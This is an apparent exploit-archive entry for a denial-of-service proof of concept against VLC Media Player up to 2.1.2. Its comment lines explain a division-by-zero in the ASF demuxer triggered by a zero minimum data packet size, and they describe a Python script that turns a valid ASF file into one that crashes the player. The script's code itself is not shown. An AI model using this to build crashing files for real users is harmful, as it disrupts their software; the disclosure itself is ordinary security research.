VLC Media Player 2.1.2 Denial Of Service

# VLC Media Player up to 2.1.2 DOS POC Integer Division By zero in ASF Demuxer  
# VLC Media Player is prone to DOS utilizing a division by zero error if minimium data packet size  
# is equal to zero. this was tested on windows XP sp3 and affects all versions of vlc till latest 2.1.2  
# to run this script you need to install python bitstring module   
# usage you supply any valid asf and the script will produxe a POC asf that will crash vlc
